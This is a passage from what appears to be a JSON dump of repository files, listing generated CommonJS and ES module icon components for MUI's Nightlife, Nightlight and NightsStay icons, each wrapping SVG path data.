    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'NightlifeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'NightlifeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'NightlifeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'NightlifeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nightlight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2c1.82 0 3.53.5 5 1.35-2.99 1.73-5 4.95-5 8.65s2.01 6.92 5 8.65c-1.47.85-3.18 1.35-5 1.35-5.52 0-10-4.48-10-10S8.48 2 14 2\"\n}), 'Nightlight');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nightlight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2c1.82 0 3.53.5 5 1.35-2.99 1.73-5 4.95-5 8.65s2.01 6.92 5 8.65c-1.47.85-3.18 1.35-5 1.35-5.52 0-10-4.48-10-10S8.48 2 14 2\"\n}), 'Nightlight');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4c.34 0 .68.02 1.01.07C13.1 6.23 12 9.05 12 12s1.1 5.77 3.01 7.93c-.33.05-.67.07-1.01.07-4.41 0-8-3.59-8-8s3.59-8 8-8m0-2C8.48 2 4 6.48 4 12s4.48 10 10 10c1.82 0 3.53-.5 5-1.35-2.99-1.73-5-4.95-5-8.65s2.01-6.92 5-8.65C17.53 2.5 15.82 2 14 2\"\n}), 'NightlightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4c.34 0 .68.02 1.01.07C13.1 6.23 12 9.05 12 12s1.1 5.77 3.01 7.93c-.33.05-.67.07-1.01.07-4.41 0-8-3.59-8-8s3.59-8 8-8m0-2C8.48 2 4 6.48 4 12s4.48 10 10 10c1.82 0 3.53-.5 5-1.35-2.99-1.73-5-4.95-5-8.65s2.01-6.92 5-8.65C17.53 2.5 15.82 2 14 2\"\n}), 'NightlightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRound.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 12c0-3.57 2.2-6.62 5.31-7.87.89-.36.75-1.69-.19-1.9-1.1-.24-2.27-.3-3.48-.14-4.51.6-8.12 4.31-8.59 8.83C4.44 16.93 9.13 22 15.01 22c.73 0 1.43-.08 2.12-.23.95-.21 1.1-1.53.2-1.9-3.22-1.29-5.33-4.41-5.32-7.87\"\n}), 'NightlightRound');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRound.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 12c0-3.57 2.2-6.62 5.31-7.87.89-.36.75-1.69-.19-1.9-1.1-.24-2.27-.3-3.48-.14-4.51.6-8.12 4.31-8.59 8.83C4.44 16.93 9.13 22 15.01 22c.73 0 1.43-.08 2.12-.23.95-.21 1.1-1.53.2-1.9-3.22-1.29-5.33-4.41-5.32-7.87\"\n}), 'NightlightRound');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 22c1.05 0 2.05-.16 3-.46-4.06-1.27-7-5.06-7-9.54s2.94-8.27 7-9.54c-.95-.3-1.95-.46-3-.46-5.52 0-10 4.48-10 10s4.48 10 10 10\"\n}), 'NightlightRoundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 22c1.05 0 2.05-.16 3-.46-4.06-1.27-7-5.06-7-9.54s2.94-8.27 7-9.54c-.95-.3-1.95-.46-3-.46-5.52 0-10 4.48-10 10s4.48 10 10 10\"\n}), 'NightlightRoundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 22h.21c.84-.02 1.12-1.11.41-1.56-2.78-1.77-4.63-4.89-4.63-8.43 0-3.55 1.85-6.66 4.63-8.44.7-.45.44-1.54-.39-1.56h-.13c-4.9-.05-9.21 3.53-9.98 8.37C4.64 16.61 9.45 22 15.5 22\"\n}), 'NightlightRoundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 22h.21c.84-.02 1.12-1.11.41-1.56-2.78-1.77-4.63-4.89-4.63-8.43 0-3.55 1.85-6.66 4.63-8.44.7-.45.44-1.54-.39-1.56h-.13c-4.9-.05-9.21 3.53-9.98 8.37C4.64 16.61 9.45 22 15.5 22\"\n}), 'NightlightRoundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 22c1.05 0 2.05-.16 3-.46-4.06-1.27-7-5.06-7-9.54s2.94-8.27 7-9.54c-.95-.3-1.95-.46-3-.46-5.52 0-10 4.48-10 10s4.48 10 10 10\"\n}), 'NightlightRoundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 22c1.05 0 2.05-.16 3-.46-4.06-1.27-7-5.06-7-9.54s2.94-8.27 7-9.54c-.95-.3-1.95-.46-3-.46-5.52 0-10 4.48-10 10s4.48 10 10 10\"\n}), 'NightlightRoundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 22c1.05 0 2.05-.16 3-.46-4.06-1.27-7-5.06-7-9.54s2.94-8.27 7-9.54c-.95-.3-1.95-.46-3-.46-5.52 0-10 4.48-10 10s4.48 10 10 10\"\n}), 'NightlightRoundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRoundTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 22c1.05 0 2.05-.16 3-.46-4.06-1.27-7-5.06-7-9.54s2.94-8.27 7-9.54c-.95-.3-1.95-.46-3-.46-5.52 0-10 4.48-10 10s4.48 10 10 10\"\n}), 'NightlightRoundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.57 2.3c2.38-.59 4.68-.27 6.63.64.35.16.41.64.1.86C15.7 5.6 14 8.6 14 12s1.7 6.4 4.3 8.2c.32.22.26.7-.09.86-1.28.6-2.71.94-4.21.94-6.05 0-10.85-5.38-9.87-11.6.61-3.92 3.59-7.16 7.44-8.1\"\n}), 'NightlightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.57 2.3c2.38-.59 4.68-.27 6.63.64.35.16.41.64.1.86C15.7 5.6 14 8.6 14 12s1.7 6.4 4.3 8.2c.32.22.26.7-.09.86-1.28.6-2.71.94-4.21.94-6.05 0-10.85-5.38-9.87-11.6.61-3.92 3.59-7.16 7.44-8.1\"\n}), 'NightlightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2c1.82 0 3.53.5 5 1.35-2.99 1.73-5 4.95-5 8.65s2.01 6.92 5 8.65c-1.47.85-3.18 1.35-5 1.35-5.52 0-10-4.48-10-10S8.48 2 14 2\"\n}), 'NightlightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2c1.82 0 3.53.5 5 1.35-2.99 1.73-5 4.95-5 8.65s2.01 6.92 5 8.65c-1.47.85-3.18 1.35-5 1.35-5.52 0-10-4.48-10-10S8.48 2 14 2\"\n}), 'NightlightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 12c0-4.41 3.59-8 8-8 .34 0 .68.02 1.01.07C13.1 6.23 12 9.05 12 12s1.1 5.77 3.01 7.93c-.33.05-.67.07-1.01.07-4.41 0-8-3.59-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12c0-3.7 2.01-6.92 5-8.65C17.53 2.5 15.82 2 14 2 8.48 2 4 6.48 4 12s4.48 10 10 10c1.82 0 3.53-.5 5-1.35-2.99-1.73-5-4.95-5-8.65m1.01 7.93c-.33.05-.67.07-1.01.07-4.41 0-8-3.59-8-8s3.59-8 8-8c.34 0 .68.02 1.01.07C13.1 6.23 12 9.05 12 12s1.1 5.77 3.01 7.93\"\n}, \"1\")], 'NightlightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 12c0-4.41 3.59-8 8-8 .34 0 .68.02 1.01.07C13.1 6.23 12 9.05 12 12s1.1 5.77 3.01 7.93c-.33.05-.67.07-1.01.07-4.41 0-8-3.59-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12c0-3.7 2.01-6.92 5-8.65C17.53 2.5 15.82 2 14 2 8.48 2 4 6.48 4 12s4.48 10 10 10c1.82 0 3.53-.5 5-1.35-2.99-1.73-5-4.95-5-8.65m1.01 7.93c-.33.05-.67.07-1.01.07-4.41 0-8-3.59-8-8s3.59-8 8-8c.34 0 .68.02 1.01.07C13.1 6.23 12 9.05 12 12s1.1 5.77 3.01 7.93\"\n}, \"1\")], 'NightlightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15 1.67.48 2.9 2.02 2.9 3.85 0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStay');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15 1.67.48 2.9 2.02 2.9 3.85 0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStay');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.78 17.51c-2.47 0-6.57-1.33-8.68-5.43-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.61-.26 1.28-.42 1.98-.42 0-3.09 1.73-5.77 4.3-7.1-.5 2.19-.54 5.04 1.04 8.1 1.57 3.04 4.18 4.95 6.8 5.86-1.23.74-2.65 1.15-4.13 1.15-.5 0-1-.05-1.48-.14-.37.7-.94 1.27-1.64 1.64.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-.17.01-.37.02-.57.02\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.78 17.51c-2.47 0-6.57-1.33-8.68-5.43-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.61-.26 1.28-.42 1.98-.42 0-3.09 1.73-5.77 4.3-7.1-.5 2.19-.54 5.04 1.04 8.1 1.57 3.04 4.18 4.95 6.8 5.86-1.23.74-2.65 1.15-4.13 1.15-.5 0-1-.05-1.48-.14-.37.7-.94 1.27-1.64 1.64.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-.17.01-.37.02-.57.02\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.1 12.08c-2-3.88-.92-7.36.07-9.27.19-.36-.12-.77-.53-.72-5.02.68-8.86 5.07-8.65 10.32.01 0 .01 0 .01.01.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15 1.67.48 2.9 2.02 2.9 3.85 0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.13 0 5.92-1.44 7.76-3.69.26-.32.04-.79-.37-.82-2.49-.13-6.28-1.53-8.28-5.42\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.1 12.08c-2-3.88-.92-7.36.07-9.27.19-.36-.12-.77-.53-.72-5.02.68-8.86 5.07-8.65 10.32.01 0 .01 0 .01.01.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15 1.67.48 2.9 2.02 2.9 3.85 0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.13 0 5.92-1.44 7.76-3.69.26-.32.04-.79-.37-.82-2.49-.13-6.28-1.53-8.28-5.42\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15 1.67.48 2.9 2.02 2.9 3.85 0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15 1.67.48 2.9 2.02 2.9 3.85 0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"1\")], 'NightsStaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightsStayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.1 14.15c1.67.48 2.9 2.02 2.9 3.85 0 .68-.19 1.31-.48 1.87.48.09.97.14 1.48.14 1.48 0 2.9-.41 4.13-1.15-2.62-.92-5.23-2.82-6.8-5.86-1.59-3.06-1.55-5.91-1.04-8.1-2.57 1.33-4.3 4.01-4.3 7.1h.02c1.65 0 3.17.83 4.09 2.15\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.78 17.51c-2.47 0-6.57-1.33-8.68-5.43-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.61-.26 1.28-.42 1.98-.42 0-3.09 1.73-5.77 4.3-7.1-.5 2.19-.54 5.04 1.04 8.1 1.57 3.04 4.18 4.95 6.8 5.86-1.23.74-2.65 1.15-4.13 1.15-.5 0-1-.05-1.48-.14-.37.7-.94 1.27-1.64 1.64.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-.17.01-.37.02-.57.02\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"2\")], 'NightsStayTwoTone');"
  },
  {
